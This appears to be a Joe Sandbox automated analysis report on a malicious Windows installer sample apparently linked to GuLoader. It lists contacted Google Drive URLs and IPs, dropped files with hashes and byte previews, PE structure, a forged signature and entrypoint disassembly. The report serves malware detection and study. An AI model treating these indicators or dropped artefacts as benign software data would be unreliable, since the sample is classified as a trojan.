00000003.00000003.119758671413.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119541296576.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119653130552.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119647088405.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119534909966.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119989239673.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119877158489.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699442284.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120658066595.00000000060F3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://apis.google.com	Ub46mg9pn4.exe, 00000003.00000003.122252423471.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121898427170.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121107152084.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121219557620.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121219557620.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120208667768.0000000006140000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122139828640.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121555287794.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122475837705.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263540323.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120995021647.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263385452.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120664516867.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121225732461.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121667005534.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121001326877.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122812272065.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758644205.0000000006145000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122252356672.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120770131383.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121449856821.00000000060B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/h	Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119764924787.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758671413.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/g	Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119764924787.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758671413.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119541296576.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119653130552.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119647088405.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119534909966.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119989239673.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119877158489.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/U(	Ub46mg9pn4.exe, 00000003.00000003.120320642878.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119764924787.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758671413.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119653130552.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119647088405.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119989239673.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119877158489.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/a	Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119764924787.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758671413.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119541296576.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119653130552.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119647088405.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119534909966.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119877158489.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/ne	Ub46mg9pn4.exe, 00000003.00000003.120320642878.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120545920720.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120657917375.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120433466338.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119989239673.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119877158489.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120658066595.00000000060F3000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
142.250.191.225	drive.usercontent.google.com	United States		15169	GOOGLEUS	false
142.250.190.78	drive.google.com	United States		15169	GOOGLEUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587600
Start date and time:	2025-01-10 15:32:24 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 14m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2021, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Ub46mg9pn4.exe
Detection:	MAL
Classification:	mal68.troj.evad.winEXE@3/8@2/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 78% Number of executed functions: 49 Number of non-executed functions: 32
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 52.111.236.22
Excluded domains from analysis (whitelisted): assets.msn.com, ctldl.windowsupdate.com, nexusrules.officeapps.live.com, api.msn.com
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	fTSt7dc60O.exe	Get hash	malicious	GuLoader	Browse	142.250.191.225 142.250.190.78
	nRNzqQOQwk.exe	Get hash	malicious	GuLoader	Browse	142.250.191.225 142.250.190.78
	You7ynHizy.exe	Get hash	malicious	GuLoader	Browse	142.250.191.225 142.250.190.78
	Xjz8dblHDe.exe	Get hash	malicious	GuLoader	Browse	142.250.191.225 142.250.190.78
	zrNcqxZRSM.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	142.250.191.225 142.250.190.78
	CY SEC AUDIT PLAN 2025.docx.doc	Get hash	malicious	Unknown	Browse	142.250.191.225 142.250.190.78
	gem1.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	142.250.191.225 142.250.190.78
	FIWszl1A8l.exe	Get hash	malicious	GhostRat	Browse	142.250.191.225 142.250.190.78
	2873466535874-68348745.02.exe	Get hash	malicious	Unknown	Browse	142.250.191.225 142.250.190.78

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsnB635.tmp\System.dll	Scan_20241030.vbs	Get hash	malicious	FormBook, GuLoader	Browse
	rpedido-00035.exe	Get hash	malicious	FormBook, GuLoader	Browse
	rpedido-00035.exe	Get hash	malicious	GuLoader	Browse
	presupuesto urgente.exe	Get hash	malicious	FormBook, GuLoader	Browse
	presupuesto urgente.exe	Get hash	malicious	GuLoader	Browse
	PEDIDO-144797.exe	Get hash	malicious	FormBook, GuLoader	Browse
	PEDIDO-144797.exe	Get hash	malicious	GuLoader	Browse
	rpedido-002297.exe	Get hash	malicious	FormBook, GuLoader	Browse
	rpedido-002297.exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsnB635.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\Ub46mg9pn4.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.659384359264642
Encrypted:	false
SSDEEP:	192:ex24sihno00Wfl97nH6BenXwWobpWBTtvShJ5omi7dJWjOlESlS:h8QIl972eXqlWBFSt273YOlEz
MD5:	8B3830B9DBF87F84DDD3B26645FED3A0
SHA1:	223BEF1F19E644A610A0877D01EADC9E28299509
SHA-256:	F004C568D305CD95EDBD704166FCD2849D395B595DFF814BCC2012693527AC37
SHA-512:	D13CFD98DB5CA8DC9C15723EEE0E7454975078A776BCE26247228BE4603A0217E166058EBADC68090AFE988862B7514CB8CB84DE13B3DE35737412A6F0A8AC03
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: Scan_20241030.vbs, Detection: malicious, Browse Filename: rpedido-00035.exe, Detection: malicious, Browse Filename: rpedido-00035.exe, Detection: malicious, Browse Filename: presupuesto urgente.exe, Detection: malicious, Browse Filename: presupuesto urgente.exe, Detection: malicious, Browse Filename: PEDIDO-144797.exe, Detection: malicious, Browse Filename: PEDIDO-144797.exe, Detection: malicious, Browse Filename: rpedido-002297.exe, Detection: malicious, Browse Filename: rpedido-002297.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L.....uY...........!..... ...........'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..S....0.......$..............@..@.data...x....@.......(..............@....reloc..`....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsvB00A.tmp

Download File

Process:	C:\Users\user\Desktop\Ub46mg9pn4.exe
File Type:	data
Category:	dropped
Size (bytes):	1352898
Entropy (8bit):	3.8948907543874283
Encrypted:	false
SSDEEP:	12288:c0gD84gb9MV0ov0aI6Qg1UzEzfA3L7y7MZuoxQlDU0A0K:pgD84gbCmovfhQcRDUrR
MD5:	8F499ADED03C315B66B5B76AB1C36B76
SHA1:	89BFD5C630827B996C75147504B7B15ACF51FD0B
SHA-256:	B2D81CB20173A294F51547479D74322E2E96A02110130F0BFBB5536462369797
SHA-512:	996125CC6B615D78547113AEC753F38F7E7B537186F3BE381E28282F28233A873363F118B8D23BD9EFC206DB53BF68636FEFBDD975688DC47A74360771D1DA38
Malicious:	false
Reputation:	low
Preview:	.8......,.......................().......8.......8..........................................................................................................................................................................................................................................G...J...........]...j...............................................................................................................................U...............(.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\Coneine\plastron.ori

Download File

Process:	C:\Users\user\Desktop\Ub46mg9pn4.exe
File Type:	data
Category:	dropped
Size (bytes):	398154
Entropy (8bit):	1.2543435533086644
Encrypted:	false
SSDEEP:	1536:8IfJmHKeJzuGrd0myk0Ek5rFnJd62xZ9WEmaslkcO:8omHKAJR0T8axr
MD5:	7BA8E260D6477B4FD16DAE2D14EA4482
SHA1:	16873CB5BFBA899D4ED937603AA9980F119695D6
SHA-256:	C19F7B3F1A20E1529113EE69AA53DB6E124A51F03098E6FB6AF0E76037C85B8B
SHA-512:	ECAA786515C73B08A44C22FD48B205166611750EC633849823A88BBF95A675CA29FB7F22E652EFCFC055FC92F8381FC6276F4B732F91612A2385BF670131FFF2
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	...................z...................................................1........................................T.......r...........................'......................O..................\|......P.................................0.....................................).......................l.............S..^......Z.........E.................................{.....................................................................................................................................................................$...........*................................................D........y....................................0..........\|........m............................G.............Q...........>...s.......C...................................................".....................................................................+.......................L...6.......................................................................`.................................k.....................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\Printstningerne.Hjk

Download File

Process:	C:\Users\user\Desktop\Ub46mg9pn4.exe
File Type:	data
Category:	dropped
Size (bytes):	216254
Entropy (8bit):	7.4894977835447945
Encrypted:	false
SSDEEP:	6144:KVNagD84R6bi4UiHX7MV0oVQ6DwIFea2P6bQdyGkI1Tm:S0gD84gb9MV0ov0aI6Qs
MD5:	B7CB3845677DF2E3618FBC83DBBF565A
SHA1:	D9AB00D7C2314532CEB7354D05439AC93DFE0769
SHA-256:	F0A706C943F1EF746CB26CECABE0FE8E71D0A15A39BCBD8D51BD1F8C3B0D1A63
SHA-512:	56DE172AD87A67EA855E69CABC1621CA1B152B51FEC59CA7080D8E9BF00064D359E1E6600D9CA6C3D8D21F1AD5B775DF5C2161AABC93F6D2FA2B4169435F0598
Malicious:	false
Reputation:	low
Preview:	.......B..0...P....555.........._.......kkk....YYYY...................<<...11.\|\|\|.............................<.........JJJ.....................XXX....f.......222..Z........++++.......(..............1.'..............z.....66.........."""...............n.ccc........[[[[.......c.555.888....SSSS.........G.......a......................[[[[...........}..,........................jjjj................................N........fff.......................q........9..((((...5555...RR..QQQQ.E.HH.u.... ....T.*.>>.l.###.......................................ooooo..hh.....h..x.................jjjj.........77........yy....5....AAAAAA....~..))).......O..kkkk........N...........................m........rrr.....\|.......kkkk..99.}........gggg.......UUUUU................nnn....~.....GG.........BB..ss...q.....nn.F......C....0...,,,.;;;.'.............2.VVV.......................N..................:::.............".222..........[...##.....l..+.FF......`......M.66...............ss................o....qq.=..7.?..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\Registerforvaltningernes.Sja

Download File

Process:	C:\Users\user\Desktop\Ub46mg9pn4.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	435074
Entropy (8bit):	2.6557814155724535
Encrypted:	false
SSDEEP:	1536:VJpKmzxdzuJXdXLkXzUio8e+3pe4zG7h1T3lkPsdSS45JBDOAm6FcA6+6cWe8VLI:NIyUwCEzfA6ELcqy3rMZuJwBxQJ
MD5:	60A82BA9BD5D820C95A6A8D008A378C2
SHA1:	406CC52D1676A23EC8A3E7EFA45A3DCE90FFA8D8
SHA-256:	B74C97CA89025691BBB4DD58CC72FB413E47BE61D8612E07740FC89A76CC4FDB
SHA-512:	17FDAE0FB2A1B1DA7279CE4E6D92687826CFCD8B8F2B7868DE1DCE61A10155007EFC0DA447A434E17E55371DEF6D03F1DF6BC97853E036AED16664932FFA0BD3
Malicious:	false
Preview:	0000AC00BBBB0000006D000000005D5D5D5D5D00F8F800000072720000B5B5B5003939000030008D0000DC00000C00F60000009D9D0000006C00FDFDFD00280000C600A20000E50000AC0000D6D6D600D3007F7F7F7F7F0000000000FEFEFE00002B2B00B800000300000000757575006565650070001700535300B700940077000000A7A7A7A70000000051515100900065650000000000101010007B0000E800E6E6E6E600C7C700D20083005A5A00B9000000000076767676001A1A1A003F0000000000004300EC00450000232300E1E10097006B0000200016160000003F0000002100D300969696969696969600A0A0A0A00000000084000000000000000D00A000DF002626000000BC00E5005050000000540000D400F4F400DCDC00007C007400670000010100500000C600000000000D0D0D0D00000000000000FDFDFDFD00006600E100C1C1000000000F0000000000B80000000000F900004900F0002D00D500000000000000008F000000CD00EC007171007F0000E3E3E3000000002A00737373009E9E9E9E9E9E9E9E9E9E9E9E9E0000000080002600D80000003A000000006E6E6E0022006C6C00000000FBFBFBFBFB0000BB0085850000EB0000000000000054006B6B6B6B6B00006500000000007979000000FBFB0000ACACAC00FEFEFEFE0000808000000000000000900000

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\bushers.txt

Download File

Process:	C:\Users\user\Desktop\Ub46mg9pn4.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	523
Entropy (8bit):	4.30492942039079
Encrypted:	false
SSDEEP:	12:nGy3qcf5opzE6vCdgLMc/Uqv7FE7KRbqYUH6uN0u8vM:GEpxoy6adY/UqvZEwbql6uNh
MD5:	B33890A43FB0F38B6DDF18C5BCEFE234
SHA1:	80ED178A92C2B5CB530AEE4673FFC9011EBF86BB
SHA-256:	3BF02F982A76A4C896FDA78C1C4B2B730D690DD86475213DC415269D4629407B
SHA-512:	169E2D067337BF05BA08D615CE61B28CA4FD93D204966B3386FB4B373D9BACD689BEE3DDC5E04A4F19586E585263F62BC40B0944A10E5867C63C9C7236A5CC48
Malicious:	false
Preview:	clisiocampa percussing acronyctous petitesses pilgrimsrejser zygosphene miasmology konkyljens..labelable kraftls veneries symbolically duncan sulemadens,logopdisk genuinenesses pseudoinspirational bekenderen.franciscanism krftcellers drylots toksikologiskes rottegiftes impecuniary slisken autokratiets hjertebaandet banegaardsbygningen choenix..adrenocorticotropic mangfoldigheders avisudvikling ekstremitetens skamsloges nrede unpersuasion trachling tvrformatets..negerbolle suppressionen lustful bagels flamenco selrets,

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\meropidae.kej

Download File

Process:	C:\Users\user\Desktop\Ub46mg9pn4.exe
File Type:	data
Category:	dropped
Size (bytes):	276551
Entropy (8bit):	1.2459972317120458
Encrypted:	false
SSDEEP:	768:q5eLWls2nEEvz9mAEPesDf7zRhfRKrtTgtOnumyYJBW+JAILJcqhOzwnasNP2r2J:q86nLDJnJuki2BaFsfRz
MD5:	0071DC51C79F0655F0BB77074D56B1D7
SHA1:	9617AE1434B07532BAAF39D69CF720C05B85E8F9
SHA-256:	0628FA8F44795D79D5B855E8387985E04D134E8B57FE4D57E663FBAED278DF89
SHA-512:	E2149E9F3B18DCB50E49EC51226D7A6BF3969E119B385410E80E431024B25A938C965C743D80C0C1D8A3820D0DDDA14464CAC75F73AE22F259B447264F8431BA
Malicious:	false
Preview:	........................................................#..................................................................................E........R...............................]......................W...\......O.........................................$9......4.............................;..........X........................Z........"..............................................................................;..........U.....................^.....................l.......................3...................~............u.........................................e......P..................................H..............................................................................2.........2.................>....................................................................................................................+.......z....................A..$.........................................................................................]........?..............................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Gaulin.ini

Download File

Process:	C:\Users\user\Desktop\Ub46mg9pn4.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	37
Entropy (8bit):	4.046762824854522
Encrypted:	false
SSDEEP:	3:lgov8fOMy:XHB
MD5:	CFDA8E6AADE7958F94A959BDB29CB209
SHA1:	59C459E105A7AF33D13A365F735E3CB7B8E5DDB0
SHA-256:	B4543E8AB4997934D2EDC7DE8A76A24B7C2CCB641212AE3B9B17FE05B71D3E87
SHA-512:	EDFDCA00667ED3A5558F7E614373F0B8393763A979154666972C659CB44E75CCD51170E4E2189043046EB4DDB8A68642BBDB6F98A0E494E76E86FAAF14F993B2
Malicious:	false
Preview:	[xanthippe]..sikkerhedsgraden=preve..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.233095774882264
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Ub46mg9pn4.exe
File size:	576'400 bytes
MD5:	e9b5b4a74ac96689518eb4593b7c23b1
SHA1:	4696dfadaf41cd153cff001c0e3b906585af5954
SHA256:	3d51bcacfbfbd3a37fc42eb9c1137786ef4de41f364bdb6e376a48a0e6f20cba
SHA512:	dd969ee67359bc3defbe186cb439bf4e52ffa1173312f404ca091fc14bd3e65ccd3897fc447784f284783eb595247e47a522931d6d2577df4a674d9fa5b920c1
SSDEEP:	12288:qatJWLkXlOMiQsXHRFOG4af8MEzYmZgYjCTrCIZZ:ntJJVOMhsXHRFOS8MEzYmCSCH5
TLSH:	F3C4D09B2ED2C9EED403463095A5B6B6B2F1ADF097135D0723B33EF82E36E514E01255
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....uY.................d...*.....

File Icon


Icon Hash:	5ce633391c1c0601

Static PE Info

General

Entrypoint:	0x403489
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5975952E [Mon Jul 24 06:35:26 2017 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	1f23f452093b5c1ff091a2f9fb4fa3e9

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN="baandtllernes Berg Sprgejrgens ", E=Tempelkomplekss@squillitic.Un, L=Groeslon, S=Wales, C=GB
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	07/02/2024 05:02:31 06/02/2027 05:02:31
Subject Chain	CN="baandtllernes Berg Sprgejrgens ", E=Tempelkomplekss@squillitic.Un, L=Groeslon, S=Wales, C=GB
Version:	3
Thumbprint MD5:	762B703F212BFE6E6395301956B89C04
Thumbprint SHA-1:	329AAB398E0F4A0993CFA8160A42C486065B0296
Thumbprint SHA-256:	C01FA899262EA33C6111744410DE023F260F99CE7A6FE2FFD5F444EDCA392DC3
Serial:	11ABC00A0063C2B95FA3FA7AECB14A91CD3F470D

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A230h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080ACh]
call dword ptr [004080A8h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0042A24Ch], eax
je 00007FF0F516EBB3h
push ebx
call 00007FF0F5171E61h
cmp eax, ebx
je 00007FF0F516EBA9h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007FF0F5171DDBh
push esi
call dword ptr [00408150h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007FF0F516EB8Ch
push 0000000Ah
call 00007FF0F5171E34h
push 00000008h
call 00007FF0F5171E2Dh
push 00000006h
mov dword ptr [0042A244h], eax
call 00007FF0F5171E21h
cmp eax, ebx
je 00007FF0F516EBB1h
push 0000001Eh
call eax
test eax, eax
je 00007FF0F516EBA9h
or byte ptr [0042A24Fh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [004082A0h]
mov dword ptr [0042A318h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 004216E8h
call dword ptr [00408188h]
push 0040A384h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x84fc	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x57000	0x220b8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x8b810	0x1380
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x63d1	0x6400	139645791b76bd6f7b8c4472edbbdfe5	False	0.66515625	data	6.479451209065	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x138e	0x1400	007eff248f0493620a3fd3f7cadc755b	False	0.45	data	5.143831732151552	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20358	0x600	ec5bcec782f43a3fb7e8dfbe0d0db4db	False	0.501953125	data	4.000739070159718	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x2c000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x57000	0x220b8	0x22200	30cc4d5ad2d805f600d8d9358a38829a	False	0.1827066163003663	data	2.9689436080399076	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x572c8	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	English	United States	0.14975452502070272
RT_ICON	0x67af0	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864	English	United States	0.18344019339920117
RT_ICON	0x70f98	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	English	United States	0.21953235710911667
RT_ICON	0x751c0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	English	United States	0.2731327800829875
RT_ICON	0x77768	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	English	United States	0.3428705440900563
RT_DIALOG	0x78810	0x120	data	English	United States	0.5138888888888888
